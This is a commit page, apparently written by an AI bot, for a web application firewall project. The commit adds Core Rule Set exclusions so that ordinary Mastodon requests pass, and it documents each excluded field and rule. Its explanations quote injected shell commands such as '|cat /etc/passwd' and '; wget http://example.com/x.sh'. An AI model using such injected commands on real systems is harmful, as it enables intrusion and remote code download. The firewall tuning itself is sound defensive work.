Core Rule Set: Mastodon's ordinary requests pass by default (closes #238)
check / check (push) Successful in 4m23s

Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address, a password or free text
skip the four rules that read them as commands or system files. They cover
the API and the web app's JSON, the admin and settings pages, sign-up and
sign-in, and the objects other servers deliver to an inbox. A post's text
skips 932125, 932230 and 932235 too. Hashtags and sign-up usernames skip
only 932120 and 932260. Uploaded file names skip 932180, a report's
forward keys skip 930120 by name, and the Accept header of a link lookup
skips 920600 on profile and post links. The requests recorded from
Mastodon 4.7.5 pass at the defaults and while bodies are read.

Model: opus-5-5
This commit is contained in:
clawbot committed 2026-11-10 03:40:06 +00:00
1 parent 3d9e3976b0
commit ed5d9a743c
7 files changed
+1478 -27

No files matched your search

+137 -10
View File
@@ -81,7 +81,7 @@ to them.
of bans is full.
- `internal/rules`: reads the rule files at start and again when they
change, and tells which rules a request matches.
- `internal/coreruleset`: the Core Rule Set, with the eleven changes listed
- `internal/coreruleset`: the Core Rule Set, with the twelve changes listed
under "Attack detection", as Coraza directives.
- `internal/lookup`: looks clients up through GeoJS or in the lookup
database.
@@ -676,8 +676,8 @@ files, the limits and the bans still apply to the client that sends it.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` names a file of exclusions, written as
Coraza directives. An exclusion switches one rule off for some fields or paths
only, where `SWW_WAF_DISABLED_RULES` switches it off everywhere. The file
holds an app's own exclusions; the eighth to eleventh changes below hold
gitea's, WordPress's, Drupal's and MediaWiki's.
holds an app's own exclusions. The eighth to twelfth changes below hold those
of the apps they name.
- `discriminator` loads the file after `smallwebwaf`'s own setup rules and
before the Core Rule Set's rules. The Core Rule Set loads its own
`REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf` at the same point.
@@ -723,9 +723,16 @@ files, the limits and the bans still apply to the client that sends it.
scanner from an ordinary client. In front of a code forge, registry and git
clients get `404` and `401` by design, hundreds of times a minute.
`smallwebwaf` changes the Core Rule Set 4.25.0 in eleven ways, since in front of
gitea, WordPress, Drupal and MediaWiki it would otherwise refuse ordinary
requests. The changes hold in front of every app, and no setting undoes them:
`smallwebwaf` changes the Core Rule Set 4.25.0 in twelve ways. Without them, it
would refuse ordinary requests to these apps:
- gitea;
- WordPress;
- Drupal;
- MediaWiki;
- Mastodon.
The changes hold in front of every app, and no setting undoes them:
1. `PUT`, `PATCH` and `DELETE` are allowed methods besides `GET`, `HEAD`, `POST`
and `OPTIONS`. APIs, container image pushes and package uploads use them.
@@ -756,10 +763,9 @@ requests. The changes hold in front of every app, and no setting undoes them:
catch reaches the app, such as the command `|cat /etc/passwd`. Path
traversal, SQL and script injection, and PHP, Java and Node.js code are
still refused there. Other parameters keep all three rules, except on the
gitea, WordPress, Drupal and MediaWiki paths the eighth to eleventh changes
name. An app that uses one of these parameters as a file on the server, or
passes it to a shell, must check the value itself. A rule file can refuse it
instead.
apps' own paths that the eighth to twelfth changes name. An app that uses
one of these parameters as a file on the server, or passes it to a shell,
must check the value itself. A rule file can refuse it instead.
5. Two cookies are left out, and `Referer` keeps fewer rules:
- The Core Rule Set reads the request without the `gitea_flash` and
@@ -1071,6 +1077,127 @@ requests. The changes hold in front of every app, and no setting undoes them:
the site root or under `/w/`. An app other than MediaWiki that serves one of
them must check these fields itself.
12. On Mastodon's paths, some fields skip the rules that refused ordinary
Mastodon requests there. `internal/coreruleset/mastodon.conf` lists each
rule and the request it refused. These fields skip the lists of system files
and command names (930120, 932120, 932250, 932260), in the query:
- On the API's search, accounts and admin accounts, under `/api/v1/` and
`/api/v2/`, the searches and names `q`, `acct`, `username`,
`display_name`, `email` and `by_domain`.
- On `/admin/accounts`, `/admin/instances`, `/admin/custom_emojis` and
`/admin/tags`, the searches `username`, `display_name`, `email`,
`by_domain`, `shortcode` and `name`.
- `q` on `/search`, the web app's search page.
These fields of a body skip the same four rules:
- On these API resources, under `/api/v1/` or `/api/v2/`, and the paths
under them:
- `statuses`, `media` and `reports`;
- `accounts` and `profile`;
- `lists`, `filters` and `featured_tags`;
- the admin API's `accounts`, `domain_blocks` and `ip_blocks`.
- On those resources, these fields:
- `spoiler_text` and `poll[options][]`, for posting;
- `description`, of an uploaded file;
- `display_name`, `note` and the names and values of
`fields_attributes`, for a profile;
- `title`, `keyword`, the keywords of `keywords_attributes` and `name`,
for lists, filters and hashtags;
- `comment`, `text`, `private_comment` and `public_comment`, for
reports, notes, warnings and blocks;
- in JSON, as the web app sends them:
- `spoiler_text`, `title` and the options of `poll`;
- `description`, and the descriptions in `media_attributes`;
- `display_name`, `note` and the names and values of
`fields_attributes`;
- `comment`.
- On these admin pages, and the paths under them:
- `/admin/domain_blocks`, `/admin/ip_blocks` and `/admin/rules`;
- `/admin/announcements` and `/admin/settings`;
- `/admin/accounts/<id>/action`;
- `/admin/report_notes` and `/admin/account_moderation_notes`;
- `/admin/warning_presets` and `/admin/roles`;
- `/admin/terms_of_service`.
- On those pages, these fields:
- `domain_block[private_comment]` and `domain_block[public_comment]`;
- `ip_block[comment]`;
- `rule[text]` and `rule[hint]`;
- `announcement[text]`;
- `form_admin_settings[site_title]`,
`form_admin_settings[site_short_description]` and
`form_admin_settings[site_extended_description]`;
- `admin_account_action[text]`, a warning to an account;
- `report_note[content]` and `account_moderation_note[content]`;
- `account_warning_preset[title]` and `account_warning_preset[text]`;
- `user_role[name]`;
- `terms_of_service[text]` and `terms_of_service[changelog]`.
- On these settings and sign-in pages, and the paths under them:
- `/filters`;
- `/settings/applications` and `/settings/aliases`;
- `/settings/migration` and `/settings/delete`;
- `/auth`.
- On those pages, these fields:
- `custom_filter[title]` and its keywords;
- `doorkeeper_application[name]` and `doorkeeper_application[website]`;
- `account_alias[acct]` and `account_migration[acct]`;
- `user[password]`, `user[password_confirmation]` and
`user[current_password]`;
- `user[invite_request_attributes][text]`, why someone asks to sign up;
- `account_migration[current_password]`,
`form_redirect[current_password]` and
`form_delete_confirmation[password]`, for moving or deleting an
account.
- On `/api/v1/accounts`, signing up through the API, `password` and
`reason`, in form data or JSON.
- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields
of the object another server delivers in JSON:
- `content` and `contentMap`, a post;
- `summary` and `summaryMap`, a content warning or a profile's text;
- `name`, a profile's name;
- the names and values of `attachment`, a picture's description or a
profile's fields;
- the names of `oneOf` and `anyOf`, a poll's options.
- A post's text, `status` in form data or JSON on `/api/v1/statuses` and the
paths under it. It skips 932125, 932230 and 932235 too, so a post can show
commands in code. A shell command such as `; wget http://example.com/x.sh`
reaches Mastodon there.
Two fields of a body skip only 932120 and 932260. A hashtag or a username
holds only letters, digits and underscores, so the other two rules do not
misfire there:
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features
on a profile;
- `user[account_attributes][username]` on `/auth`, the sign-up form's
username.
On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
930120 by their names. In the Core Rule Set they are named `json.forward`
and `json.forward_to_domains`, which contain `.forward`, a file in a home
folder. So 930120 refused every report the web app sent. Their values keep
every rule.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
The names of uploaded files skip 932180 on these paths:
- `/api/v1/media` and `/api/v2/media`;
- `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a
file of a type it does not allow.
The `Accept` header skips 920600 on links to profiles and posts, such as
`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on
the paths under `/users/` and `/ap/users/` too. When someone on another
server looks up such a link, that server fetches it with this header. It
sends the header again to the account or post the link leads to:
`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
resources under them count as Mastodon's paths. Elsewhere these fields keep
every rule. An app other than Mastodon that serves one of these paths must
check these fields itself.
The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them.